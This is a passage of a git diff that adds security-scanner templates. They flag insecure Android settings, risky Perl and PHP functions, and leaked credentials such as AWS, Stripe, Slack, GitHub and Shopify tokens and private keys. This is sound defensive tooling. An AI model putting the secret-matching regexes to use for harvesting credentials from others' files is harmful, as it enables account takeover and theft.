+ - "android.permission.USE_FINGERPRINT"
+ - "android.permission.USE_BIOMETRIC"
\ No newline at end of file
diff --git a/file/android/certificate-validation.yaml b/file/android/certificate-validation.yaml
new file mode 100644
index 0000000000..64a9fecc52
--- /dev/null
+++ b/file/android/certificate-validation.yaml
@@ -0,0 +1,16 @@
+id: improper-certificate-validation
+
+info:
+ name: Improper Certificate Validation
+ author: gaurang
+ severity: medium
+ tags: android,file
+
+file:
+ - extensions:
+ - all
+
+ matchers:
+ - type: word
+ words:
+ - "Landroid/webkit/SslErrorHandler;->proceed()V"
\ No newline at end of file
diff --git a/file/android/content-scheme.yaml b/file/android/content-scheme.yaml
new file mode 100644
index 0000000000..f60d6a6607
--- /dev/null
+++ b/file/android/content-scheme.yaml
@@ -0,0 +1,16 @@
+id: content-scheme
+
+info:
+ name: Content Scheme Enabled
+ author: gaurang
+ severity: info
+ tags: android,file
+
+file:
+ - extensions:
+ - xml
+
+ matchers:
+ - type: word
+ words:
+ - "android:scheme=\"content\""
\ No newline at end of file
diff --git a/file/android/debug-enabled.yaml b/file/android/debug-enabled.yaml
new file mode 100644
index 0000000000..1825b7d030
--- /dev/null
+++ b/file/android/debug-enabled.yaml
@@ -0,0 +1,16 @@
+id: android-debug-enabled
+
+info:
+ name: Android Debug Enabled
+ author: gaurang
+ severity: low
+ tags: android,file
+
+file:
+ - extensions:
+ - all
+
+ matchers:
+ - type: regex
+ regex:
+ - "android:debuggable=\"true\""
\ No newline at end of file
diff --git a/file/android/dynamic-broadcast-receiver.yaml b/file/android/dynamic-broadcast-receiver.yaml
new file mode 100644
index 0000000000..d2ea9a6123
--- /dev/null
+++ b/file/android/dynamic-broadcast-receiver.yaml
@@ -0,0 +1,16 @@
+id: dynamic-registered-broadcast-receiver
+
+info:
+ name: Dynamic Registered Broadcast Receiver
+ author: gaurang
+ severity: info
+ tags: android,file
+
+file:
+ - extensions:
+ - all
+
+ matchers:
+ - type: word
+ words:
+ - ";->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)"
\ No newline at end of file
diff --git a/file/android/file-scheme.yaml b/file/android/file-scheme.yaml
new file mode 100644
index 0000000000..e7f14543f8
--- /dev/null
+++ b/file/android/file-scheme.yaml
@@ -0,0 +1,16 @@
+id: file-scheme
+
+info:
+ name: File Scheme Enabled
+ author: gaurang
+ severity: info
+ tags: android,file
+
+file:
+ - extensions:
+ - xml
+
+ matchers:
+ - type: word
+ words:
+ - "android:scheme=\"file\""
\ No newline at end of file
diff --git a/file/android/provider-path.yaml b/file/android/provider-path.yaml
new file mode 100644
index 0000000000..ed4810852d
--- /dev/null
+++ b/file/android/provider-path.yaml
@@ -0,0 +1,17 @@
+id: insecure-provider-path
+
+info:
+ name: Insecure Provider Path
+ author: gaurang
+ severity: medium
+ tags: android,file
+
+file:
+ - extensions:
+ - all
+
+ matchers:
+ - type: regex
+ regex:
+ - "root-path name=\"[0-9A-Za-z\\-_]{1,10}\" path=\".\""
+ - "root-path name=\"[0-9A-Za-z\\-_]{1,10}\" path=\"\""
diff --git a/file/android/webview-addjavascript-interface.yaml b/file/android/webview-addjavascript-interface.yaml
new file mode 100644
index 0000000000..06e26a26dd
--- /dev/null
+++ b/file/android/webview-addjavascript-interface.yaml
@@ -0,0 +1,16 @@
+id: webview-addjavascript-interface
+
+info:
+ name: Webview addJavascript Interface Usage
+ author: gaurang
+ severity: info
+ tags: android,file
+
+file:
+ - extensions:
+ - all
+
+ matchers:
+ - type: word
+ words:
+ - ";->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V"
\ No newline at end of file
diff --git a/file/android/webview-javascript.yaml b/file/android/webview-javascript.yaml
new file mode 100644
index 0000000000..9637251e12
--- /dev/null
+++ b/file/android/webview-javascript.yaml
@@ -0,0 +1,16 @@
+id: webview-javascript-enabled
+
+info:
+ name: Webview JavaScript enabled
+ author: gaurang
+ severity: info
+ tags: android,file
+
+file:
+ - extensions:
+ - all
+
+ matchers:
+ - type: word
+ words:
+ - "Landroid/webkit/WebSettings;->setJavaScriptEnabled(Z)V"
\ No newline at end of file
diff --git a/file/android/webview-load-url.yaml b/file/android/webview-load-url.yaml
new file mode 100644
index 0000000000..d258156df2
--- /dev/null
+++ b/file/android/webview-load-url.yaml
@@ -0,0 +1,16 @@
+id: webview-load-url
+
+info:
+ name: Webview loadUrl usage
+ author: gaurang
+ severity: info
+ tags: android,file
+
+file:
+ - extensions:
+ - all
+
+ matchers:
+ - type: word
+ words:
+ - "Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V"
\ No newline at end of file
diff --git a/file/android/webview-universal-access.yaml b/file/android/webview-universal-access.yaml
new file mode 100644
index 0000000000..56fe5fb8ac
--- /dev/null
+++ b/file/android/webview-universal-access.yaml
@@ -0,0 +1,16 @@
+id: webview-universal-access
+
+info:
+ name: Webview Universal Access enabled
+ author: gaurang
+ severity: medium
+ tags: android,file
+
+file:
+ - extensions:
+ - all
+
+ matchers:
+ - type: word
+ words:
+ - "Landroid/webkit/WebSettings;->setAllowUniversalAccessFromFileURLs(Z)V"
\ No newline at end of file
diff --git a/file/keys/amazon-mws-auth-token.yaml b/file/keys/amazon-mws-auth-token.yaml
new file mode 100644
index 0000000000..69843674c0
--- /dev/null
+++ b/file/keys/amazon-mws-auth-token.yaml
@@ -0,0 +1,16 @@
+id: amazon-mws-auth-token-value
+
+info:
+ name: Amazon MWS Auth Token
+ author: gaurang
+ severity: medium
+ tags: token,file
+
+file:
+ - extensions:
+ - all
+
+ extractors:
+ - type: regex
+ regex:
+ - "amzn\\.mws\\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"
\ No newline at end of file
diff --git a/file/keys/aws-access-id.yaml b/file/keys/aws-access-id.yaml
new file mode 100644
index 0000000000..1bf83e581c
--- /dev/null
+++ b/file/keys/aws-access-id.yaml
@@ -0,0 +1,16 @@
+id: aws-access-key
+
+info:
+ name: AWS Access Key ID
+ author: gaurang
+ severity: info
+ tags: token,file
+
+file:
+ - extensions:
+ - all
+
+ extractors:
+ - type: regex
+ regex:
+ - "(A3T[A-Z0-9]|AKIA|AGPA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}"
diff --git a/file/keys/aws-cognito.yaml b/file/keys/aws-cognito.yaml
new file mode 100644
index 0000000000..f601eec9b7
--- /dev/null
+++ b/file/keys/aws-cognito.yaml
@@ -0,0 +1,32 @@
+id: aws-cognito-pool
+
+info:
+ name: AWS Cognito Pool ID
+ author: gaurang
+ severity: info
+ tags: token,file
+
+file:
+ - extensions:
+ - all
+
+ extractors:
+ - type: regex
+ regex:
+ - "ap-northeast-2:[0-9A-Za-z]{8}-[0-9A-Za-z]{4}-[0-9A-Za-z]{4}-[0-9A-Za-z]{4}-[0-9A-Za-z]{12}"
+ - "ap-northeast-3:[0-9A-Za-z]{8}-[0-9A-Za-z]{4}-[0-9A-Za-z]{4}-[0-9A-Za-z]{4}-[0-9A-Za-z]{12}"
+ - "ap-southeast-1:[0-9A-Za-z]{8}-[0-9A-Za-z]{4}-[0-9A-Za-z]{4}-[0-9A-Za-z]{4}-[0-9A-Za-z]{12}"
+ - "ap-southeast-2:[0-9A-Za-z]{8}-[0-9A-Za-z]{4}-[0-9A-Za-z]{4}-[0-9A-Za-z]{4}-[0-9A-Za-z]{12}"
+ - "ap-south-1:[0-9A-Za-z]{8}-[0-9A-Za-z]{4}-[0-9A-Za-z]{4}-[0-9A-Za-z]{4}-[0-9A-Za-z]{12}"
+ - "ca-central-1:[0-9A-Za-z]{8}-[0-9A-Za-z]{4}-[0-9A-Za-z]{4}-[0-9A-Za-z]{4}-[0-9A-Za-z]{12}"
+ - "ca-central-2:[0-9A-Za-z]{8}-[0-9A-Za-z]{4}-[0-9A-Za-z]{4}-[0-9A-Za-z]{4}-[0-9A-Za-z]{12}"
+ - "eu-west-1:[0-9A-Za-z]{8}-[0-9A-Za-z]{4}-[0-9A-Za-z]{4}-[0-9A-Za-z]{4}-[0-9A-Za-z]{12}"
+ - "eu-west-2:[0-9A-Za-z]{8}-[0-9A-Za-z]{4}-[0-9A-Za-z]{4}-[0-9A-Za-z]{4}-[0-9A-Za-z]{12}"
+ - "eu-west-3:[0-9A-Za-z]{8}-[0-9A-Za-z]{4}-[0-9A-Za-z]{4}-[0-9A-Za-z]{4}-[0-9A-Za-z]{12}"
+ - "eu-west-3:[0-9A-Za-z]{8}-[0-9A-Za-z]{4}-[0-9A-Za-z]{4}-[0-9A-Za-z]{4}-[0-9A-Za-z]{12}"
+ - "eu-north-1:[0-9A-Za-z]{8}-[0-9A-Za-z]{4}-[0-9A-Za-z]{4}-[0-9A-Za-z]{4}-[0-9A-Za-z]{12}"
+ - "us-east-1:[0-9A-Za-z]{8}-[0-9A-Za-z]{4}-[0-9A-Za-z]{4}-[0-9A-Za-z]{4}-[0-9A-Za-z]{12}"
+ - "us-east-2:[0-9A-Za-z]{8}-[0-9A-Za-z]{4}-[0-9A-Za-z]{4}-[0-9A-Za-z]{4}-[0-9A-Za-z]{12}"
+ - "us-west-1:[0-9A-Za-z]{8}-[0-9A-Za-z]{4}-[0-9A-Za-z]{4}-[0-9A-Za-z]{4}-[0-9A-Za-z]{12}"
+ - "us-west-2:[0-9A-Za-z]{8}-[0-9A-Za-z]{4}-[0-9A-Za-z]{4}-[0-9A-Za-z]{4}-[0-9A-Za-z]{12}"
+ - "sa-east-1:[0-9A-Za-z]{8}-[0-9A-Za-z]{4}-[0-9A-Za-z]{4}-[0-9A-Za-z]{4}-[0-9A-Za-z]{12}"
\ No newline at end of file
diff --git a/file/keys/cloudinary.yaml b/file/keys/cloudinary.yaml
new file mode 100644
index 0000000000..960dabd6e3
--- /dev/null
+++ b/file/keys/cloudinary.yaml
@@ -0,0 +1,16 @@
+id: cloudinary-basic-auth
+
+info:
+ name: Cloudinary Basic Auth
+ author: gaurang
+ severity: high
+ tags: token,file
+
+file:
+ - extensions:
+ - all
+
+ extractors:
+ - type: regex
+ regex:
+ - "cloudinary://[0-9]{15}:[0-9A-Za-z\\-_]+@[0-9A-Za-z\\-_]+"
\ No newline at end of file
diff --git a/file/keys/credentials.yaml b/file/keys/credentials.yaml
new file mode 100644
index 0000000000..484b2e6710
--- /dev/null
+++ b/file/keys/credentials.yaml
@@ -0,0 +1,16 @@
+id: basic-auth-creds
+
+info:
+ name: Basic Auth Credentials
+ author: gaurang
+ severity: high
+ tags: token,file
+
+file:
+ - extensions:
+ - all
+
+ extractors:
+ - type: regex
+ regex:
+ - "[a-zA-Z]{3,10}://[^/\\s:@]{3,20}:[^/\\s:@]{3,20}@.{1,100}[\"'\\s]"
\ No newline at end of file
diff --git a/file/keys/dynatrace-token.yaml b/file/keys/dynatrace-token.yaml
new file mode 100644
index 0000000000..3ad533dd3f
--- /dev/null
+++ b/file/keys/dynatrace-token.yaml
@@ -0,0 +1,16 @@
+id: dynatrace-token
+
+info:
+ name: Dynatrace Token
+ author: gaurang
+ severity: high
+ tags: token,file
+
+file:
+ - extensions:
+ - all
+
+ extractors:
+ - type: regex
+ regex:
+ - "dt0[a-zA-Z]{1}[0-9]{2}\\.[A-Z0-9]{24}\\.[A-Z0-9]{64}"
\ No newline at end of file
diff --git a/file/keys/facebook-client-id.yaml b/file/keys/facebook-client-id.yaml
new file mode 100644
index 0000000000..038fdbd646
--- /dev/null
+++ b/file/keys/facebook-client-id.yaml
@@ -0,0 +1,16 @@
+id: facebook-client-id
+
+info:
+ name: Facebook Client ID
+ author: gaurang
+ severity: info
+ tags: token,file
+
+file:
+ - extensions:
+ - all
+
+ extractors:
+ - type: regex
+ regex:
+ - "(?i)(facebook|fb)(.{0,20})?['\"][0-9]{13,17}['\"]"
\ No newline at end of file
diff --git a/file/keys/facebook-secret.yaml b/file/keys/facebook-secret.yaml
new file mode 100644
index 0000000000..ebd1df4171
--- /dev/null
+++ b/file/keys/facebook-secret.yaml
@@ -0,0 +1,16 @@
+id: facebook-secret-key
+
+info:
+ name: Facebook Secret Key
+ author: gaurang
+ severity: low
+ tags: token,file
+
+file:
+ - extensions:
+ - all
+
+ extractors:
+ - type: regex
+ regex:
+ - "(?i)(facebook|fb)(.{0,20})?(?-i)['\"][0-9a-f]{32}['\"]"
\ No newline at end of file
diff --git a/file/keys/firebase-database.yaml b/file/keys/firebase-database.yaml
new file mode 100644
index 0000000000..62a323df09
--- /dev/null
+++ b/file/keys/firebase-database.yaml
@@ -0,0 +1,17 @@
+id: firebase-database
+
+info:
+ name: Firebase Database Detect
+ author: gaurang
+ severity: info
+ tags: token,file
+
+file:
+ - extensions:
+ - all
+
+ extractors:
+ - type: regex
+ regex:
+ - "[a-z0-9.-]+\\.firebaseio\\.com"
+ - "[a-z0-9.-]+\\.firebaseapp\\.com"
\ No newline at end of file
diff --git a/file/keys/gcp-service-account.yaml b/file/keys/gcp-service-account.yaml
new file mode 100644
index 0000000000..8f4b0a4129
--- /dev/null
+++ b/file/keys/gcp-service-account.yaml
@@ -0,0 +1,16 @@
+id: gcp-service-account
+
+info:
+ name: Google (GCP) Service-account
+ author: gaurang
+ severity: low
+ tags: token,file
+
+file:
+ - extensions:
+ - all
+
+ extractors:
+ - type: regex
+ regex:
+ - "\"type\": \"service_account\""
\ No newline at end of file
diff --git a/file/keys/github-personal-token.yaml b/file/keys/github-personal-token.yaml
new file mode 100644
index 0000000000..ac9983c6b6
--- /dev/null
+++ b/file/keys/github-personal-token.yaml
@@ -0,0 +1,16 @@
+id: github-personal-token
+
+info:
+ name: Github Personal Token
+ author: geeknik
+ severity: high
+ tags: token,file
+
+file:
+ - extensions:
+ - all
+
+ extractors:
+ - type: regex
+ regex:
+ - "ghp_.{36}"
diff --git a/file/keys/google-api.yaml b/file/keys/google-api.yaml
new file mode 100644
index 0000000000..c227c5263b
--- /dev/null
+++ b/file/keys/google-api.yaml
@@ -0,0 +1,16 @@
+id: google-api-key
+
+info:
+ name: Google API key
+ author: gaurang
+ severity: info
+ tags: token,file
+
+file:
+ - extensions:
+ - all
+
+ extractors:
+ - type: regex
+ regex:
+ - "AIza[0-9A-Za-z\\-_]{35}"
\ No newline at end of file
diff --git a/file/keys/linkedin-id.yaml b/file/keys/linkedin-id.yaml
new file mode 100644
index 0000000000..dedc141863
--- /dev/null
+++ b/file/keys/linkedin-id.yaml
@@ -0,0 +1,16 @@
+id: linkedin-client-id
+
+info:
+ name: Linkedin Client ID
+ author: gaurang
+ severity: low
+ tags: token,file
+
+file:
+ - extensions:
+ - all
+
+ extractors:
+ - type: regex
+ regex:
+ - "(?i)linkedin(.{0,20})?(?-i)[0-9a-z]{12}"
\ No newline at end of file
diff --git a/file/keys/mailchimp-api.yaml b/file/keys/mailchimp-api.yaml
new file mode 100644
index 0000000000..226457a440
--- /dev/null
+++ b/file/keys/mailchimp-api.yaml
@@ -0,0 +1,16 @@
+id: mailchimp-api-key
+
+info:
+ name: Mailchimp API Key
+ author: gaurang
+ severity: high
+ tags: token,file
+
+file:
+ - extensions:
+ - all
+
+ extractors:
+ - type: regex
+ regex:
+ - "[0-9a-f]{32}-us[0-9]{1,2}"
\ No newline at end of file
diff --git a/file/keys/mailgun-api.yaml b/file/keys/mailgun-api.yaml
new file mode 100644
index 0000000000..917fb270c0
--- /dev/null
+++ b/file/keys/mailgun-api.yaml
@@ -0,0 +1,16 @@
+id: mailgun-api-key
+
+info:
+ name: Mailgun API Key
+ author: gaurang
+ severity: high
+ tags: token,file
+
+file:
+ - extensions:
+ - all
+
+ extractors:
+ - type: regex
+ regex:
+ - "key-[0-9a-zA-Z]{32}"
\ No newline at end of file
diff --git a/file/keys/paypal-braintree-token.yaml b/file/keys/paypal-braintree-token.yaml
new file mode 100644
index 0000000000..53cbc3564c
--- /dev/null
+++ b/file/keys/paypal-braintree-token.yaml
@@ -0,0 +1,16 @@
+id: paypal-braintree-token
+
+info:
+ name: Paypal Braintree Access Token
+ author: gaurang
+ severity: high
+ tags: token,file
+
+file:
+ - extensions:
+ - all
+
+ extractors:
+ - type: regex
+ regex:
+ - "access_token\\$production\\$[0-9a-z]{16}\\$[0-9a-f]{32}"
\ No newline at end of file
diff --git a/file/keys/pictatic-api-key.yaml b/file/keys/pictatic-api-key.yaml
new file mode 100644
index 0000000000..ec20f07569
--- /dev/null
+++ b/file/keys/pictatic-api-key.yaml
@@ -0,0 +1,16 @@
+id: pictatic-api-key
+
+info:
+ name: Pictatic API Key
+ author: gaurang
+ severity: high
+ tags: token,file
+
+file:
+ - extensions:
+ - all
+
+ extractors:
+ - type: regex
+ regex:
+ - "sk_live_[0-9a-z]{32}"
\ No newline at end of file
diff --git a/file/keys/private-key.yaml b/file/keys/private-key.yaml
new file mode 100644
index 0000000000..3e779effd4
--- /dev/null
+++ b/file/keys/private-key.yaml
@@ -0,0 +1,24 @@
+id: private-key
+
+info:
+ name: Private Key Detect
+ author: gaurang,geeknik
+ severity: high
+ tags: token,file
+
+file:
+ - extensions:
+ - all
+
+ extractors:
+ - type: regex
+ regex:
+ - "\"BEGIN OPENSSH PRIVATE KEY\""
+ - "\"BEGIN PRIVATE KEY\""
+ - "\"BEGIN RSA PRIVATE KEY\""
+ - "\"BEGIN DSA PRIVATE KEY\""
+ - "\"BEGIN EC PRIVATE KEY\""
+ - "\"BEGIN PGP PRIVATE KEY BLOCK\""
+ - "\"ssh-rsa\""
+ - "\"ssh-dsa\""
+ - "\"ssh-ed25519\""
diff --git a/file/keys/s3-bucket.yaml b/file/keys/s3-bucket.yaml
new file mode 100644
index 0000000000..2451b6f9a6
--- /dev/null
+++ b/file/keys/s3-bucket.yaml
@@ -0,0 +1,20 @@
+id: s3-bucket
+
+info:
+ name: S3 Bucket Detect
+ author: gaurang
+ severity: info
+ tags: token,file
+
+file:
+ - extensions:
+ - all
+
+ extractors:
+ - type: regex
+ regex:
+ - "[a-z0-9.-]+\\.s3\\.amazonaws\\.com"
+ - "[a-z0-9.-]+\\.s3-[a-z0-9-]\\.amazonaws\\.com"
+ - "[a-z0-9.-]+\\.s3-website[.-](eu|ap|us|ca|sa|cn)"
+ - "//s3\\.amazonaws\\.com/[a-z0-9._-]+"
+ - "//s3-[a-z0-9-]+\\.amazonaws\\.com/[a-z0-9._-]+"
\ No newline at end of file
diff --git a/file/keys/sendgrid-api.yaml b/file/keys/sendgrid-api.yaml
new file mode 100644
index 0000000000..cf01b33d17
--- /dev/null
+++ b/file/keys/sendgrid-api.yaml
@@ -0,0 +1,16 @@
+id: sendgrid-api-key
+
+info:
+ name: Sendgrid API Key
+ author: gaurang
+ severity: high
+ tags: token,file
+
+file:
+ - extensions:
+ - all
+
+ extractors:
+ - type: regex
+ regex:
+ - "SG\\.[a-zA-Z0-9]{22}\\.[a-zA-Z0-9]{43}"
\ No newline at end of file
diff --git a/file/keys/shopify-custom-token.yaml b/file/keys/shopify-custom-token.yaml
new file mode 100644
index 0000000000..fbdd23d61d
--- /dev/null
+++ b/file/keys/shopify-custom-token.yaml
@@ -0,0 +1,16 @@
+id: shopify-custom-token
+
+info:
+ name: Shopify Custom App Access Token
+ author: gaurang
+ severity: high
+ tags: token,file
+
+file:
+ - extensions:
+ - all
+
+ extractors:
+ - type: regex
+ regex:
+ - "shpca_[a-fA-F0-9]{32}"
\ No newline at end of file
diff --git a/file/keys/shopify-private-token.yaml b/file/keys/shopify-private-token.yaml
new file mode 100644
index 0000000000..7e308d71f9
--- /dev/null
+++ b/file/keys/shopify-private-token.yaml
@@ -0,0 +1,16 @@
+id: shopify-private-token
+
+info:
+ name: Shopify Private App Access Token
+ author: gaurang
+ severity: high
+ tags: token,file
+
+file:
+ - extensions:
+ - all
+
+ extractors:
+ - type: regex
+ regex:
+ - "shppa_[a-fA-F0-9]{32}"
\ No newline at end of file
diff --git a/file/keys/shopify-shared-secret.yaml b/file/keys/shopify-shared-secret.yaml
new file mode 100644
index 0000000000..8121c35d82
--- /dev/null
+++ b/file/keys/shopify-shared-secret.yaml
@@ -0,0 +1,16 @@
+id: shopify-shared-secret
+
+info:
+ name: Shopify Shared Secret
+ author: gaurang
+ severity: high
+ tags: token,file
+
+file:
+ - extensions:
+ - all
+
+ extractors:
+ - type: regex
+ regex:
+ - "shpss_[a-fA-F0-9]{32}"
\ No newline at end of file
diff --git a/file/keys/shopify-token.yaml b/file/keys/shopify-token.yaml
new file mode 100644
index 0000000000..a60878623e
--- /dev/null
+++ b/file/keys/shopify-token.yaml
@@ -0,0 +1,16 @@
+id: shopify-access-token
+
+info:
+ name: Shopify Access Token
+ author: gaurang
+ severity: high
+ tags: token,file
+
+file:
+ - extensions:
+ - all
+
+ extractors:
+ - type: regex
+ regex:
+ - "shpat_[a-fA-F0-9]{32}"
\ No newline at end of file
diff --git a/file/keys/slack-api.yaml b/file/keys/slack-api.yaml
new file mode 100644
index 0000000000..96801a34e1
--- /dev/null
+++ b/file/keys/slack-api.yaml
@@ -0,0 +1,16 @@
+id: slack-api
+
+info:
+ name: Slack API Key
+ author: gaurang
+ severity: high
+ tags: token,file
+
+file:
+ - extensions:
+ - all
+
+ extractors:
+ - type: regex
+ regex:
+ - "xox[baprs]-([0-9a-zA-Z]{10,48})?"
\ No newline at end of file
diff --git a/file/keys/slack-webhook.yaml b/file/keys/slack-webhook.yaml
new file mode 100644
index 0000000000..0ed290829d
--- /dev/null
+++ b/file/keys/slack-webhook.yaml
@@ -0,0 +1,16 @@
+id: slack-webhook
+
+info:
+ name: Slack Webhook
+ author: gaurang
+ severity: high
+ tags: token,file
+
+file:
+ - extensions:
+ - all
+
+ extractors:
+ - type: regex
+ regex:
+ - "https://hooks.slack.com/services/T[0-9A-Za-z\\-_]{8}/B[0-9A-Za-z\\-_]{8}/[0-9A-Za-z\\-_]{24}"
diff --git a/file/keys/square-access-token.yaml b/file/keys/square-access-token.yaml
new file mode 100644
index 0000000000..bc0d7c284e
--- /dev/null
+++ b/file/keys/square-access-token.yaml
@@ -0,0 +1,16 @@
+id: square-access-token
+
+info:
+ name: Square Access Token
+ author: gaurang
+ severity: high
+ tags: token,file
+
+file:
+ - extensions:
+ - all
+
+ extractors:
+ - type: regex
+ regex:
+ - "sq0atp-[0-9A-Za-z\\-_]{22}"
diff --git a/file/keys/square-oauth-secret.yaml b/file/keys/square-oauth-secret.yaml
new file mode 100644
index 0000000000..e32fa9237a
--- /dev/null
+++ b/file/keys/square-oauth-secret.yaml
@@ -0,0 +1,16 @@
+id: square-oauth-secret
+
+info:
+ name: Square OAuth Secret
+ author: gaurang
+ severity: high
+ tags: token,file
+
+file:
+ - extensions:
+ - all
+
+ extractors:
+ - type: regex
+ regex:
+ - "sq0csp-[0-9A-Za-z\\-_]{43}"
\ No newline at end of file
diff --git a/file/keys/stripe-api-key.yaml b/file/keys/stripe-api-key.yaml
new file mode 100644
index 0000000000..64fe34bfcc
--- /dev/null
+++ b/file/keys/stripe-api-key.yaml
@@ -0,0 +1,16 @@
+id: stripe-api-key
+
+info:
+ name: Stripe API Key
+ author: gaurang
+ severity: high
+ tags: token,file
+
+file:
+ - extensions:
+ - all
+
+ extractors:
+ - type: regex
+ regex:
+ - "(?i)stripe(.{0,20})?[sr]k_live_[0-9a-zA-Z]{24}"
\ No newline at end of file
diff --git a/file/keys/twilio-api.yaml b/file/keys/twilio-api.yaml
new file mode 100644
index 0000000000..9895746a8a
--- /dev/null
+++ b/file/keys/twilio-api.yaml
@@ -0,0 +1,16 @@
+id: twilio-api
+
+info:
+ name: Twilio API Key
+ author: gaurang
+ severity: high
+ tags: token,file
+
+file:
+ - extensions:
+ - all
+
+ extractors:
+ - type: regex
+ regex:
+ - "(?i)twilio(.{0,20})?SK[0-9a-f]{32}"
\ No newline at end of file
diff --git a/file/keys/twitter-secret.yaml b/file/keys/twitter-secret.yaml
new file mode 100644
index 0000000000..546834c131
--- /dev/null
+++ b/file/keys/twitter-secret.yaml
@@ -0,0 +1,16 @@
+id: twitter-secret
+
+info:
+ name: Twitter Secret
+ author: gaurang
+ severity: medium
+ tags: token,file
+
+file:
+ - extensions:
+ - all
+
+ extractors:
+ - type: regex
+ regex:
+ - "(?i)twitter(.{0,20})?[0-9a-z]{35,44}"
\ No newline at end of file
diff --git a/file/perl/perl-scanner.yaml b/file/perl/perl-scanner.yaml
new file mode 100644
index 0000000000..d74c3647f4
--- /dev/null
+++ b/file/perl/perl-scanner.yaml
@@ -0,0 +1,107 @@
+id: perl-scanner
+
+info:
+ name: Perl File Scanner
+ author: geeknik
+ severity: info
+ tags: perl,file
+
+file:
+ - extensions:
+ - pl # default
+ - perl # uncommon
+ - pod # plain old documentation
+ - pm # perl module
+
+ extractors:
+ - type: regex
+ # Standard random number generators should not be used to generate randomness used for security reasons. For security sensitive randomness a crytographic randomness generator that provides sufficient entropy should be used.
+ regex:
+ - 'srand'
+ - 'rand'
+ condition: or
+ - type: regex
+ regex:
+ - 'getc'
+ - 'readdir'
+ - 'read'
+ - 'sysread'
+ condition: or
+ - type: regex
+ # When using exec, it is important to be sure that the string being used does not contain relative paths elements (../ for example), or a null, which may cause underlying C calls to behave strangely.
+ regex:
+ - 'exec'
+ - type: regex
+ # The filehandle argument should not be derived from user input. Doing so could allow arbitrary filehandles to have operations carried out on them.
+ regex:
+ - 'fcntl'
+ - type: regex
+ # The second argument specifiying the packed address to bind to, should not be derived from user input. If the address is derived from user input, it is possible for a malicious user to cause the socket to be bound to an address of their choice.
+ regex:
+ - 'bind'
+ - type: regex
+ # When using setpgrp, neither argument should be derived from user input, doing so may allow the attacker to modify both the PID and the PGRP argument, possibly allowing arbitrary processes to have their process group changed.
+ regex:
+ - 'setpgrp'
+ - type: regex
+ # When using setpriority, do not pass arguments to it that are derived from user input. Doing so could allow an attacker to set the priority of an arbitrary process on the system.
+ regex:
+ - 'setpriority'
+ - type: regex
+ # Care should be exercised when using the syscall function. Arguments derived from user input are to be avoided, and are especially dangerous due to the fact they are passed directly to the underlying OS call. There is also a potential for buffer-overflow like problems with strings that may be written to. Extend all perl strings to sane lengths before passing them into this function.
+ regex:
+ - 'syscall'
+ - type: regex
+ # The second argument specifiying the packed address to bind to, should not be derived from user input. If the address is derived from user input, it is possible for a malicious user to cause the socket to connect to an arbitrary remote address, enabling hijacking of potentially sensitive network data.
+ regex:
+ - 'connect'
+ - type: regex
+ # When using system, it is important to be sure that the string being used does not contain relative path elements (../ for example), or a null, which may cause underlying C calls to behave strangely. It is also imperative to insure the string has no characters that may be interpreted by the shell, possibly allowing arbitrary commands to be run.
+ regex:
+ - 'system'
+ - type: regex
+ # The filename argument of open should be carefully checked if it is being created with any user-supplied string as a compontent of it. Strings should be checked for occurences of path backtracking/relative path components (../ as an example), or nulls, which may cause the underlying C call to interpret the filename to open differently than expected. It is also important to make sure that the final filename does not end in a "|", as this will cause the path to be executed.
+ regex:
+ - 'open'
+ - type: regex
+ # When using this function, it is important to be sure that the string being passed in does not contain relative path elements (../ for example), or a null, which may cause underlying C calls to behave in ways you do not expect. This is especially important if the string is in any way constructed from a user supplied value.
+ regex:
+ - 'mkdir'
+ - 'chdir'
+ - 'rmdir'
+ - 'chown'
+ - 'chmod'
+ - 'link'
+ - 'symlink'
+ - 'truncate'
+ - 'chroot'
+ - type: regex
+ # Using a user supplied expression as an argument to this function should be avoided. Explicitly set the umask to a value you know is safe.
+ regex:
+ - 'umask'
+ - type: regex
+ # Avoid constructing the list of process ids to kill with any strings that contain user inputted data. Users may be able to manipulate the pid values in such a way as to cause arbitrary signals to be sent to processes, possibly leading to exploits or DoS attacks.
+ regex:
+ - 'kill'
+ - type: regex
+ # Using user supplied strings as the arguments to ioctl may allow the user to manipulate the device in arbitrary ways.
+ regex:
+ - 'ioctl'
+ - type: regex
+ # Using user supplied strings anywhere inside of an eval is extremely dangerous. Unvalidated user input fed into an eval call may allow the user to execute arbitrary perl code. Avoid ever passing user supplied strings into eval.
+ regex:
+ - 'eval'
+ - type: regex
+ # Glob invokes a shell (usually /bin/csh) to obtain the list of filenames that match the glob pattern. Unvalidated user input used in a glob pattern could allow arbitrary shell code to be run, possibly executing programs as a result. Avoid using user input in glob patterns.
+ regex:
+ - 'glob'
+ - type: regex
+ # Remember that sensitive data get copied on fork. For example, a random number generator's internal state will get duplicated, and the child may start outputting identical number streams.
+ regex:
+ - 'fork'
+ - type: regex
+ # DNS results can easily be forged by an attacker (or arbitrarily set to large values, etc), and should not be trusted.
+ regex:
+ - 'gethostbyname'
+ - 'gethostbyaddr'
+ condition: or
diff --git a/file/php/php-scanner.yaml b/file/php/php-scanner.yaml
new file mode 100644
index 0000000000..59de13dc1e
--- /dev/null
+++ b/file/php/php-scanner.yaml
@@ -0,0 +1,126 @@
+id: php-scanner
+
+info:
+ name: PHP Scanner
+ author: geeknik
+ severity: info
+ tags: php,file
+
+file:
+ - extensions:
+ - html
+ - phtml
+ - php
+ - php3
+ - php4
+
+ extractors:
+ - type: regex
+ # Investigate for possible SQL Injection
+ # Likely vulnerable: $dbConn->GetRow("SELECT * FROM users WHERE id = $user_id");
+ # Likely not Vulnerable: $dbConn->GetRow("SELECT * FROM users WHERE id = ?", array(‘$user_id’));
+ regex:
+ - '(?i)getone|getrow|getall|getcol|getassoc|execute|replace'
+ - type: regex
+ # Warn when var_dump is found
+ regex:
+ - 'var_dump'
+ - type: regex
+ # Warn when display_errors is enabled manually
+ regex:
+ - 'display_errors'
+ - type: regex
+ # Avoid the use of eval()
+ regex:
+ - 'eval'
+ - 'eval\((base64|eval|\$_|\$\$|\$[A-Za-z_0-9\{]*(\(|\{|\[))'
+ condition: or
+ - type: regex
+ # Avoid the use of exit or die()
+ regex:
+ - 'exit'
+ - 'die'
+ condition: or
+ - type: regex
+ # Avoid the use of logical operators (ex. using and over &&)
+ regex:
